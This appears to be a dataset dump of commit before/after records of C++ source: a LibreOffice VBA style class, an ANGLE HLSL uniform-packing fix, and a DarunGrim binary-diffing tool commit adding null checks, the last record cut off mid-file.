xStylesAccess;\n}\n\nuno::Reference< beans::XPropertySet >\nlcl_getStyleProps( const rtl::OUString& sStyleName, const uno::Reference< frame::XModel >& xModel ) throw ( script::BasicErrorException, uno::RuntimeException )\n{\n\n uno::Reference< beans::XPropertySet > xStyleProps( ScVbaStyle::getStylesNameContainer( xModel )->getByName( sStyleName ), uno::UNO_QUERY_THROW );\n return xStyleProps;\n}\n\n\nvoid ScVbaStyle::initialise() throw ( uno::RuntimeException )\n{\n if (!mxModel.is() )\n DebugHelper::exception(SbERR_METHOD_FAILED, rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"XModel Interface could not be retrieved\")) );\n uno::Reference< lang::XServiceInfo > xServiceInfo( mxPropertySet, uno::UNO_QUERY_THROW );\n if ( !xServiceInfo->supportsService( rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \"com.sun.star.style.CellStyle\" ) ) ) )\n {\n DebugHelper::exception(SbERR_METHOD_FAILED, rtl::OUString() );\n }\n mxStyle.set( mxPropertySet, uno::UNO_QUERY_THROW );\n\n uno::Reference< style::XStyleFamiliesSupplier > xStyleSupplier( mxModel, uno::UNO_QUERY_THROW );\n mxStyleFamilyNameContainer.set( ScVbaStyle::getStylesNameContainer( mxModel ), uno::UNO_QUERY_THROW );\n\n}\n\nScVbaStyle::ScVbaStyle( const uno::Reference< ov::XHelperInterface >& xParent, const uno::Reference< uno::XComponentContext > & xContext, const rtl::OUString& sStyleName, const uno::Reference< frame::XModel >& _xModel ) throw ( script::BasicErrorException, uno::RuntimeException ) : ScVbaStyle_BASE( xParent, xContext, lcl_getStyleProps( sStyleName, _xModel ), _xModel, false ), mxModel( _xModel )\n{\n try\n {\n initialise();\n }\n catch (const uno::Exception& )\n {\n DebugHelper::exception(SbERR_METHOD_FAILED, rtl::OUString());\n }\n}\n\nScVbaStyle::ScVbaStyle( const uno::Reference< XHelperInterface >& xParent, const uno::Reference< uno::XComponentContext > & xContext, const uno::Reference< beans::XPropertySet >& _xPropertySet, const uno::Reference< frame::XModel >& _xModel ) throw ( script::BasicErrorException, uno::RuntimeException ) : ScVbaStyle_BASE( xParent, xContext, _xPropertySet, _xModel, false ), mxModel( _xModel )\n{\n try\n {\n initialise();\n }\n catch (const uno::Exception& )\n {\n DebugHelper::exception(SbERR_METHOD_FAILED, rtl::OUString());\n }\n}\n\n\n::sal_Bool SAL_CALL\nScVbaStyle::BuiltIn() throw (script::BasicErrorException, uno::RuntimeException)\n{\n return !mxStyle->isUserDefined();\n\n}\nvoid SAL_CALL\nScVbaStyle::setName( const ::rtl::OUString& Name ) throw (script::BasicErrorException, uno::RuntimeException)\n{\n mxStyle->setName(Name);\n}\n\n::rtl::OUString SAL_CALL\nScVbaStyle::getName() throw (script::BasicErrorException, uno::RuntimeException)\n{\n return mxStyle->getName();\n}\n\nvoid SAL_CALL\nScVbaStyle::setNameLocal( const ::rtl::OUString& NameLocal ) throw (script::BasicErrorException, uno::RuntimeException)\n{\n try\n {\n mxPropertySet->setPropertyValue(DISPLAYNAME, uno::makeAny( NameLocal ) );\n }\n catch (const uno::Exception& e)\n {\n DebugHelper::exception(e);\n }\n}\n\n::rtl::OUString SAL_CALL\nScVbaStyle::getNameLocal() throw (script::BasicErrorException, uno::RuntimeException)\n{\n rtl::OUString sName;\n try\n {\n mxPropertySet->getPropertyValue(DISPLAYNAME) >>= sName;\n }\n catch (const uno::Exception& )\n {\n DebugHelper::exception(SbERR_METHOD_FAILED, rtl::OUString() );\n }\n return sName;\n}\n\nvoid SAL_CALL\nScVbaStyle::Delete() throw (script::BasicErrorException, uno::RuntimeException)\n{\n try\n {\n mxStyleFamilyNameContainer->removeByName(mxStyle->getName());\n }\n catch (const uno::Exception& )\n {\n DebugHelper::exception(SbERR_METHOD_FAILED, rtl::OUString());\n }\n}\n\nvoid SAL_CALL\nScVbaStyle::setMergeCells( const uno::Any& \/*MergeCells*\/ ) throw (script::BasicErrorException, uno::RuntimeException)\n{\n DebugHelper::exception(SbERR_NOT_IMPLEMENTED, rtl::OUString());\n}\n\nuno::Any SAL_CALL\nScVbaStyle::getMergeCells( ) throw (script::BasicErrorException, uno::RuntimeException)\n{\n DebugHelper::exception(SbERR_NOT_IMPLEMENTED, rtl::OUString());\n return uno::Any();\n}\n\n\nrtl::OUString&\nScVbaStyle::getServiceImplName()\n{\n static rtl::OUString sImplName( RTL_CONSTASCII_USTRINGPARAM(\"ScVbaStyle\") );\n return sImplName;\n}\n\nuno::Sequence< rtl::OUString >\nScVbaStyle::getServiceNames()\n{\n static uno::Sequence< rtl::OUString > aServiceNames;\n if ( aServiceNames.getLength() == 0 )\n {\n aServiceNames.realloc( 1 );\n aServiceNames[ 0 ] = rtl::OUString( RTL_CONSTASCII_USTRINGPARAM(\"ooo.vba.excel.XStyle\" ) );\n }\n return aServiceNames;\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2013-2014 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ blocklayout.cpp:\n\/\/ Implementation for block layout classes and methods.\n\/\/\n\n#include \"compiler\/translator\/blocklayoutHLSL.h\"\n\n#include \"common\/mathutil.h\"\n#include \"common\/utilities.h\"\n\nnamespace sh\n{\n\nHLSLBlockEncoder::HLSLBlockEncoder(HLSLBlockEncoderStrategy strategy)\n : mEncoderStrategy(strategy),\n mTransposeMatrices(false)\n{\n}\n\nvoid HLSLBlockEncoder::enterAggregateType()\n{\n nextRegister();\n}\n\nvoid HLSLBlockEncoder::exitAggregateType()\n{\n}\n\nvoid HLSLBlockEncoder::getBlockLayoutInfo(GLenum typeIn, unsigned int arraySize, bool isRowMajorMatrix, int *arrayStrideOut, int *matrixStrideOut)\n{\n GLenum type = (mTransposeMatrices ? gl::TransposeMatrixType(typeIn) : typeIn);\n\n \/\/ We assume we are only dealing with 4 byte components (no doubles or half-words currently)\n ASSERT(gl::VariableComponentSize(gl::VariableComponentType(type)) == BytesPerComponent);\n\n int matrixStride = 0;\n int arrayStride = 0;\n\n \/\/ if variables are not to be packed, or we're about to\n \/\/ pack a matrix or array, skip to the start of the next\n \/\/ register\n if (!isPacked() ||\n gl::IsMatrixType(type) ||\n arraySize > 0)\n {\n nextRegister();\n }\n\n if (gl::IsMatrixType(type))\n {\n matrixStride = ComponentsPerRegister;\n\n if (arraySize > 0)\n {\n const int numRegisters = gl::MatrixRegisterCount(type, isRowMajorMatrix);\n arrayStride = ComponentsPerRegister * numRegisters;\n }\n }\n else if (arraySize > 0)\n {\n arrayStride = ComponentsPerRegister;\n }\n else if (isPacked())\n {\n int numComponents = gl::VariableComponentCount(type);\n if ((numComponents + (mCurrentOffset % ComponentsPerRegister)) > ComponentsPerRegister)\n {\n nextRegister();\n }\n }\n\n *matrixStrideOut = matrixStride;\n *arrayStrideOut = arrayStride;\n}\n\nvoid HLSLBlockEncoder::advanceOffset(GLenum typeIn, unsigned int arraySize, bool isRowMajorMatrix, int arrayStride, int matrixStride)\n{\n GLenum type = (mTransposeMatrices ? gl::TransposeMatrixType(typeIn) : typeIn);\n\n if (arraySize > 0)\n {\n mCurrentOffset += arrayStride * (arraySize - 1);\n }\n\n if (gl::IsMatrixType(type))\n {\n ASSERT(matrixStride == ComponentsPerRegister);\n const int numRegisters = gl::MatrixRegisterCount(type, isRowMajorMatrix);\n const int numComponents = gl::MatrixComponentCount(type, isRowMajorMatrix);\n mCurrentOffset += ComponentsPerRegister * (numRegisters - 1);\n mCurrentOffset += numComponents;\n }\n else if (isPacked())\n {\n mCurrentOffset += gl::VariableComponentCount(type);\n }\n else\n {\n mCurrentOffset += ComponentsPerRegister;\n }\n}\n\nvoid HLSLBlockEncoder::skipRegisters(unsigned int numRegisters)\n{\n mCurrentOffset += (numRegisters * ComponentsPerRegister);\n}\n\nHLSLBlockEncoder::HLSLBlockEncoderStrategy HLSLBlockEncoder::GetStrategyFor(ShShaderOutput outputType)\n{\n switch (outputType)\n {\n case SH_HLSL9_OUTPUT: return ENCODE_LOOSE;\n case SH_HLSL11_OUTPUT: return ENCODE_PACKED;\n default: UNREACHABLE(); return ENCODE_PACKED;\n }\n}\n\ntemplate <class ShaderVarType>\nvoid HLSLVariableRegisterCount(const ShaderVarType &variable, HLSLBlockEncoder *encoder)\n{\n if (variable.isStruct())\n {\n for (size_t arrayElement = 0; arrayElement < variable.elementCount(); arrayElement++)\n {\n encoder->enterAggregateType();\n\n for (size_t fieldIndex = 0; fieldIndex < variable.fields.size(); fieldIndex++)\n {\n HLSLVariableRegisterCount(variable.fields[fieldIndex], encoder);\n }\n\n encoder->exitAggregateType();\n }\n }\n else\n {\n \/\/ We operate only on varyings and uniforms, which do not have matrix layout qualifiers\n encoder->encodeType(variable.type, variable.arraySize, false);\n }\n}\n\nunsigned int HLSLVariableRegisterCount(const Varying &variable, bool transposeMatrices)\n{\n HLSLBlockEncoder encoder(HLSLBlockEncoder::ENCODE_PACKED);\n encoder.setTransposeMatrices(transposeMatrices);\n HLSLVariableRegisterCount(variable, &encoder);\n\n const size_t registerBytes = (encoder.BytesPerComponent * encoder.ComponentsPerRegister);\n return static_cast<unsigned int>(rx::roundUp<size_t>(encoder.getBlockSize(), registerBytes) \/ registerBytes);\n}\n\nunsigned int HLSLVariableRegisterCount(const Uniform &variable, ShShaderOutput outputType)\n{\n HLSLBlockEncoder encoder(HLSLBlockEncoder::GetStrategyFor(outputType));\n HLSLVariableRegisterCount(variable, &encoder);\n\n const size_t registerBytes = (encoder.BytesPerComponent * encoder.ComponentsPerRegister);\n return static_cast<unsigned int>(rx::roundUp<size_t>(encoder.getBlockSize(), registerBytes) \/ registerBytes);\n}\n\n}\n<commit_msg>HLSL: Fix uniform packing for non-square matrices.<commit_after>\/\/\n\/\/ Copyright (c) 2013-2014 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ blocklayout.cpp:\n\/\/ Implementation for block layout classes and methods.\n\/\/\n\n#include \"compiler\/translator\/blocklayoutHLSL.h\"\n\n#include \"common\/mathutil.h\"\n#include \"common\/utilities.h\"\n\nnamespace sh\n{\n\nHLSLBlockEncoder::HLSLBlockEncoder(HLSLBlockEncoderStrategy strategy)\n : mEncoderStrategy(strategy),\n mTransposeMatrices(false)\n{\n}\n\nvoid HLSLBlockEncoder::enterAggregateType()\n{\n nextRegister();\n}\n\nvoid HLSLBlockEncoder::exitAggregateType()\n{\n}\n\nvoid HLSLBlockEncoder::getBlockLayoutInfo(GLenum typeIn, unsigned int arraySize, bool isRowMajorMatrix, int *arrayStrideOut, int *matrixStrideOut)\n{\n GLenum type = (mTransposeMatrices ? gl::TransposeMatrixType(typeIn) : typeIn);\n\n \/\/ We assume we are only dealing with 4 byte components (no doubles or half-words currently)\n ASSERT(gl::VariableComponentSize(gl::VariableComponentType(type)) == BytesPerComponent);\n\n int matrixStride = 0;\n int arrayStride = 0;\n\n \/\/ if variables are not to be packed, or we're about to\n \/\/ pack a matrix or array, skip to the start of the next\n \/\/ register\n if (!isPacked() ||\n gl::IsMatrixType(type) ||\n arraySize > 0)\n {\n nextRegister();\n }\n\n if (gl::IsMatrixType(type))\n {\n matrixStride = ComponentsPerRegister;\n\n if (arraySize > 0)\n {\n const int numRegisters = gl::MatrixRegisterCount(type, isRowMajorMatrix);\n arrayStride = ComponentsPerRegister * numRegisters;\n }\n }\n else if (arraySize > 0)\n {\n arrayStride = ComponentsPerRegister;\n }\n else if (isPacked())\n {\n int numComponents = gl::VariableComponentCount(type);\n if ((numComponents + (mCurrentOffset % ComponentsPerRegister)) > ComponentsPerRegister)\n {\n nextRegister();\n }\n }\n\n *matrixStrideOut = matrixStride;\n *arrayStrideOut = arrayStride;\n}\n\nvoid HLSLBlockEncoder::advanceOffset(GLenum typeIn, unsigned int arraySize, bool isRowMajorMatrix, int arrayStride, int matrixStride)\n{\n GLenum type = (mTransposeMatrices ? gl::TransposeMatrixType(typeIn) : typeIn);\n\n if (arraySize > 0)\n {\n mCurrentOffset += arrayStride * (arraySize - 1);\n }\n\n if (gl::IsMatrixType(type))\n {\n ASSERT(matrixStride == ComponentsPerRegister);\n const int numRegisters = gl::MatrixRegisterCount(type, isRowMajorMatrix);\n const int numComponents = gl::MatrixComponentCount(type, isRowMajorMatrix);\n mCurrentOffset += ComponentsPerRegister * (numRegisters - 1);\n mCurrentOffset += numComponents;\n }\n else if (isPacked())\n {\n mCurrentOffset += gl::VariableComponentCount(type);\n }\n else\n {\n mCurrentOffset += ComponentsPerRegister;\n }\n}\n\nvoid HLSLBlockEncoder::skipRegisters(unsigned int numRegisters)\n{\n mCurrentOffset += (numRegisters * ComponentsPerRegister);\n}\n\nHLSLBlockEncoder::HLSLBlockEncoderStrategy HLSLBlockEncoder::GetStrategyFor(ShShaderOutput outputType)\n{\n switch (outputType)\n {\n case SH_HLSL9_OUTPUT: return ENCODE_LOOSE;\n case SH_HLSL11_OUTPUT: return ENCODE_PACKED;\n default: UNREACHABLE(); return ENCODE_PACKED;\n }\n}\n\ntemplate <class ShaderVarType>\nvoid HLSLVariableRegisterCount(const ShaderVarType &variable, HLSLBlockEncoder *encoder)\n{\n if (variable.isStruct())\n {\n for (size_t arrayElement = 0; arrayElement < variable.elementCount(); arrayElement++)\n {\n encoder->enterAggregateType();\n\n for (size_t fieldIndex = 0; fieldIndex < variable.fields.size(); fieldIndex++)\n {\n HLSLVariableRegisterCount(variable.fields[fieldIndex], encoder);\n }\n\n encoder->exitAggregateType();\n }\n }\n else\n {\n \/\/ We operate only on varyings and uniforms, which do not have matrix layout qualifiers\n encoder->encodeType(variable.type, variable.arraySize, false);\n }\n}\n\nunsigned int HLSLVariableRegisterCount(const Varying &variable, bool transposeMatrices)\n{\n HLSLBlockEncoder encoder(HLSLBlockEncoder::ENCODE_PACKED);\n encoder.setTransposeMatrices(transposeMatrices);\n HLSLVariableRegisterCount(variable, &encoder);\n\n const size_t registerBytes = (encoder.BytesPerComponent * encoder.ComponentsPerRegister);\n return static_cast<unsigned int>(rx::roundUp<size_t>(encoder.getBlockSize(), registerBytes) \/ registerBytes);\n}\n\nunsigned int HLSLVariableRegisterCount(const Uniform &variable, ShShaderOutput outputType)\n{\n HLSLBlockEncoder encoder(HLSLBlockEncoder::GetStrategyFor(outputType));\n encoder.setTransposeMatrices(true);\n HLSLVariableRegisterCount(variable, &encoder);\n\n const size_t registerBytes = (encoder.BytesPerComponent * encoder.ComponentsPerRegister);\n return static_cast<unsigned int>(rx::roundUp<size_t>(encoder.getBlockSize(), registerBytes) \/ registerBytes);\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Common.h\"\r\n#include \"DarunGrim.h\"\r\n#include \"LogOperation.h\"\r\n\r\nLogOperation Logger;\r\n\r\nDarunGrim::DarunGrim(): \r\n\tpStorageDB(NULL),\r\n\tpOneIDAClientManagerTheSource(NULL),\r\n\tpOneIDAClientManagerTheTarget(NULL),\r\n\tpDiffMachine(NULL),\r\n\tpIDAClientManager(NULL)\r\n{\r\n\tLogger.SetLogOutputType( LogToStdout );\r\n\tLogger.SetDebugLevel( 0 );\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tpIDAClientManager = new IDAClientManager();\r\n}\r\n\r\nDarunGrim::~DarunGrim()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tif( pStorageDB )\r\n\t{\r\n\t\tpStorageDB->CloseDatabase();\r\n\t\tdelete pStorageDB;\r\n\t}\r\n\r\n\tif( pDiffMachine )\r\n\t\tdelete pDiffMachine;\r\n\r\n\tif( pIDAClientManager )\r\n\t\tdelete pIDAClientManager;\r\n}\r\n\r\nvoid DarunGrim::SetLogParameters( int ParamLogOutputType, int ParamDebugLevel, const char *LogFile )\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tLogger.SetLogOutputType( ParamLogOutputType );\r\n\tif( LogFile )\r\n\t\tLogger.SetLogFilename( LogFile );\r\n\tLogger.SetDebugLevel( ParamDebugLevel );\r\n}\r\n\r\nvoid DarunGrim::SetIDAPath( const char *path )\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tif( path )\r\n\t\tpIDAClientManager->SetIDAPath( path );\r\n}\r\n\r\nbool DarunGrim::GenerateDB( \r\n\tchar *ParamStorageFilename, \r\n\tchar *LogFilename, \r\n\tchar *TheSourceFilename, DWORD StartAddressForSource, DWORD EndAddressForSource, \r\n\tchar *TheTargetFilename, DWORD StartAddressForTarget, DWORD EndAddressForTarget )\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tStorageFilename = ParamStorageFilename;\r\n\r\n\tprintf(\"TheSourceFilename=%s\\nTheTargetFilename=%s\\nStorageFilename=%s\\n\",\r\n\t\tTheSourceFilename,TheTargetFilename,StorageFilename);\r\n\r\n\tpIDAClientManager->SetOutputFilename(StorageFilename);\r\n\tpIDAClientManager->SetLogFilename(LogFilename);\r\n\tpIDAClientManager->RunIDAToGenerateDB(TheSourceFilename,StartAddressForSource,EndAddressForSource);\r\n\tpIDAClientManager->RunIDAToGenerateDB(TheTargetFilename,StartAddressForTarget,EndAddressForTarget);\r\n\treturn OpenDatabase();\r\n}\r\n\r\nbool DarunGrim::AcceptIDAClientsFromSocket()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\r\n\tif( pStorageDB )\r\n\t{\r\n\t\tpIDAClientManager->SetDatabase( pStorageDB );\r\n\t}\r\n\tpIDAClientManager->StartIDAListener( DARUNGRIM2_PORT );\r\n\r\n\tpOneIDAClientManagerTheSource=new OneIDAClientManager( pStorageDB );\r\n\tpOneIDAClientManagerTheTarget=new OneIDAClientManager( pStorageDB );\r\n\r\n\tpIDAClientManager->AcceptIDAClient( pOneIDAClientManagerTheSource, pStorageDB? TRUE:FALSE );\r\n\tpIDAClientManager->AcceptIDAClient( pOneIDAClientManagerTheTarget, pStorageDB? TRUE:FALSE );\r\n\r\n\tpIDAClientManager->SetMembers( pOneIDAClientManagerTheSource, pOneIDAClientManagerTheTarget, pDiffMachine );\r\n\tpIDAClientManager->CreateIDACommandProcessorThread();\r\n\tpIDAClientManager->StopIDAListener();\r\n\r\n\treturn TRUE;\r\n}\r\n\r\nbool DarunGrim::OpenDatabase()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\r\n\tif( pStorageDB )\r\n\t\tdelete pStorageDB;\r\n\r\n\tpStorageDB = new DBWrapper( StorageFilename );\r\n\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_ONE_LOCATION_INFO_TABLE_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_ONE_LOCATION_INFO_TABLE_START_ADDRESS_INDEX_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_ONE_LOCATION_INFO_TABLE_END_ADDRESS_INDEX_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_MAP_INFO_TABLE_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_MAP_INFO_TABLE_INDEX_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_FILE_INFO_TABLE_STATEMENT);\r\n\treturn TRUE;\r\n}\r\n\r\nbool DarunGrim::Analyze()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tint TheSourceFileID=1;\r\n\tint TheTargetFileID=2;\r\n\r\n\tif( pOneIDAClientManagerTheSource && pOneIDAClientManagerTheTarget )\r\n\t{\r\n\t\tpDiffMachine=new DiffMachine( pOneIDAClientManagerTheSource, pOneIDAClientManagerTheTarget );\r\n\t}\r\n\telse\r\n\t{\r\n\t\tpDiffMachine=new DiffMachine();\r\n\t\tpDiffMachine->Retrieve( *pStorageDB,TRUE,TheSourceFileID,TheTargetFileID);\r\n\t}\r\n\r\n\tpDiffMachine->Analyze();\r\n\tpDiffMachine->Save( *pStorageDB );\r\n\treturn TRUE;\r\n}\r\n\r\nbool DarunGrim::ShowOnIDA()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\t\/\/pDiffMachine->PrintMatchMapInfo();\r\n\tif( pIDAClientManager )\r\n\t{\r\n\t\tpIDAClientManager->SetMembers(\r\n\t\t\tpOneIDAClientManagerTheSource,\r\n\t\t\tpOneIDAClientManagerTheTarget,\r\n\t\t\tpDiffMachine\r\n\t\t);\r\n\t\tpIDAClientManager->ShowResultsOnIDA();\r\n\t\tpIDAClientManager->IDACommandProcessor();\r\n\t\treturn TRUE;\r\n\t}\r\n\treturn FALSE;\r\n}\r\n<commit_msg>Put new sanity check<commit_after>#include \"Common.h\"\r\n#include \"DarunGrim.h\"\r\n#include \"LogOperation.h\"\r\n\r\nLogOperation Logger;\r\n\r\nDarunGrim::DarunGrim(): \r\n\tpStorageDB(NULL),\r\n\tpOneIDAClientManagerTheSource(NULL),\r\n\tpOneIDAClientManagerTheTarget(NULL),\r\n\tpDiffMachine(NULL),\r\n\tpIDAClientManager(NULL)\r\n{\r\n\tLogger.SetLogOutputType( LogToStdout );\r\n\tLogger.SetDebugLevel( 0 );\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tpIDAClientManager = new IDAClientManager();\r\n}\r\n\r\nDarunGrim::~DarunGrim()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tif( pStorageDB )\r\n\t{\r\n\t\tpStorageDB->CloseDatabase();\r\n\t\tdelete pStorageDB;\r\n\t}\r\n\r\n\tif( pDiffMachine )\r\n\t\tdelete pDiffMachine;\r\n\r\n\tif( pIDAClientManager )\r\n\t\tdelete pIDAClientManager;\r\n}\r\n\r\nvoid DarunGrim::SetLogParameters( int ParamLogOutputType, int ParamDebugLevel, const char *LogFile )\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tLogger.SetLogOutputType( ParamLogOutputType );\r\n\tif( LogFile )\r\n\t\tLogger.SetLogFilename( LogFile );\r\n\tLogger.SetDebugLevel( ParamDebugLevel );\r\n}\r\n\r\nvoid DarunGrim::SetIDAPath( const char *path )\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tif( path )\r\n\t\tpIDAClientManager->SetIDAPath( path );\r\n}\r\n\r\nbool DarunGrim::GenerateDB( \r\n\tchar *ParamStorageFilename, \r\n\tchar *LogFilename, \r\n\tchar *TheSourceFilename, DWORD StartAddressForSource, DWORD EndAddressForSource, \r\n\tchar *TheTargetFilename, DWORD StartAddressForTarget, DWORD EndAddressForTarget )\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tStorageFilename = ParamStorageFilename;\r\n\r\n\tprintf(\"TheSourceFilename=%s\\nTheTargetFilename=%s\\nStorageFilename=%s\\n\",\r\n\t\tTheSourceFilename,TheTargetFilename,StorageFilename);\r\n\r\n\tpIDAClientManager->SetOutputFilename(StorageFilename);\r\n\tpIDAClientManager->SetLogFilename(LogFilename);\r\n\tpIDAClientManager->RunIDAToGenerateDB(TheSourceFilename,StartAddressForSource,EndAddressForSource);\r\n\tpIDAClientManager->RunIDAToGenerateDB(TheTargetFilename,StartAddressForTarget,EndAddressForTarget);\r\n\treturn OpenDatabase();\r\n}\r\n\r\nbool DarunGrim::AcceptIDAClientsFromSocket()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\r\n\tif( pStorageDB )\r\n\t{\r\n\t\tpIDAClientManager->SetDatabase( pStorageDB );\r\n\t}\r\n\tpIDAClientManager->StartIDAListener( DARUNGRIM2_PORT );\r\n\r\n\tpOneIDAClientManagerTheSource=new OneIDAClientManager( pStorageDB );\r\n\tpOneIDAClientManagerTheTarget=new OneIDAClientManager( pStorageDB );\r\n\r\n\tpIDAClientManager->AcceptIDAClient( pOneIDAClientManagerTheSource, pStorageDB? TRUE:FALSE );\r\n\tpIDAClientManager->AcceptIDAClient( pOneIDAClientManagerTheTarget, pStorageDB? TRUE:FALSE );\r\n\r\n\tpIDAClientManager->SetMembers( pOneIDAClientManagerTheSource, pOneIDAClientManagerTheTarget, pDiffMachine );\r\n\tpIDAClientManager->CreateIDACommandProcessorThread();\r\n\tpIDAClientManager->StopIDAListener();\r\n\r\n\treturn TRUE;\r\n}\r\n\r\nbool DarunGrim::OpenDatabase()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\r\n\tif( pStorageDB )\r\n\t\tdelete pStorageDB;\r\n\r\n\tpStorageDB = new DBWrapper( StorageFilename );\r\n\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_ONE_LOCATION_INFO_TABLE_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_ONE_LOCATION_INFO_TABLE_START_ADDRESS_INDEX_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_ONE_LOCATION_INFO_TABLE_END_ADDRESS_INDEX_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_MAP_INFO_TABLE_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_MAP_INFO_TABLE_INDEX_STATEMENT);\r\n\tpStorageDB->ExecuteStatement(NULL,NULL,CREATE_FILE_INFO_TABLE_STATEMENT);\r\n\treturn TRUE;\r\n}\r\n\r\nbool DarunGrim::Analyze()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tint TheSourceFileID=1;\r\n\tint TheTargetFileID=2;\r\n\r\n\tif( pOneIDAClientManagerTheSource && pOneIDAClientManagerTheTarget )\r\n\t{\r\n\t\tpDiffMachine = new DiffMachine( pOneIDAClientManagerTheSource, pOneIDAClientManagerTheTarget );\r\n\t}\r\n\telse if( pStorageDB )\r\n\t{\r\n\t\tpDiffMachine = new DiffMachine();\r\n\t\tpDiffMachine->Retrieve( *pStorageDB,TRUE,TheSourceFileID,TheTargetFileID);\r\n\t}\r\n\r\n\tif( pDiffMachine )\r\n\t{\r\n\t\tpDiffMachine->Analyze();\r\n\t\tpDiffMachine->Save( *pStorageDB );\r\n\t}\r\n\treturn TRUE;\r\n}\r\n\r\nbool DarunGrim::ShowOnIDA()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\t\/\/pDiffMachine->PrintMatchMapInfo();\r\n\tif( pIDAClientManager )\r\n\t{\r\n\t\tpIDAClientManager->SetMembers(\r\n\t\t\tpOneIDAClientManagerTheSource,\r\n\t\t\tpOneIDAClientManagerTheTarget,\r\n\t\t\tpDiffMachine\r\n\t\t);\r\n\t\tpIDAClientManager->ShowResultsOnIDA();\r\n\t\tpIDAClientManager->IDACommandProcessor();\r\n\t\treturn TRUE;\r\n\t}\r\n\treturn FALSE;\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>#include \"Common.h\"\r\n#include \"DarunGrim.h\"\r\n#include \"LogOperation.h\"\r\n\r\nLogOperation Logger;\r\n\r\nDarunGrim::DarunGrim(): \r\n\tpStorageDB(NULL),\r\n\tpOneIDAClientManagerTheSource(NULL),\r\n\tpOneIDAClientManagerTheTarget(NULL),\r\n\tpDiffMachine(NULL),\r\n\tpIDAClientManager(NULL)\r\n{\r\n\tLogger.SetLogOutputType( LogToStdout );\r\n\tLogger.SetDebugLevel( 0 );\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tpIDAClientManager = new IDAClientManager();\r\n}\r\n\r\nDarunGrim::~DarunGrim()\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tif( pStorageDB )\r\n\t{\r\n\t\tpStorageDB->CloseDatabase();\r\n\t\tdelete pStorageDB;\r\n\t}\r\n\r\n\tif( pDiffMachine )\r\n\t\tdelete pDiffMachine;\r\n\r\n\tif( pIDAClientManager )\r\n\t\tdelete pIDAClientManager;\r\n}\r\n\r\nvoid DarunGrim::SetLogParameters( int ParamLogOutputType, int ParamDebugLevel, const char *LogFile )\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tLogger.SetLogOutputType( ParamLogOutputType );\r\n\tif( LogFile )\r\n\t\tLogger.SetLogFilename( LogFile );\r\n\tLogger.SetDebugLevel( ParamDebugLevel );\r\n}\r\n\r\nvoid DarunGrim::SetIDAPath( const char *path )\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tif( path )\r\n\t\tpIDAClientManager->SetIDAPath( path );\r\n}\r\n\r\nbool DarunGrim::GenerateDB( \r\n\tchar *ParamStorageFilename, \r\n\tchar *LogFilename, \r\n\tchar *TheSourceFilename, DWORD StartAddressForSource, DWORD EndAddressForSource, \r\n\tchar *TheTargetFilename, DWORD StartAddressForTarget, DWORD EndAddressForTarget )\r\n{\r\n\tLogger.Log(10, \"%s: entry\\n\", __FUNCTION__ );\r\n\tStorageFilename = 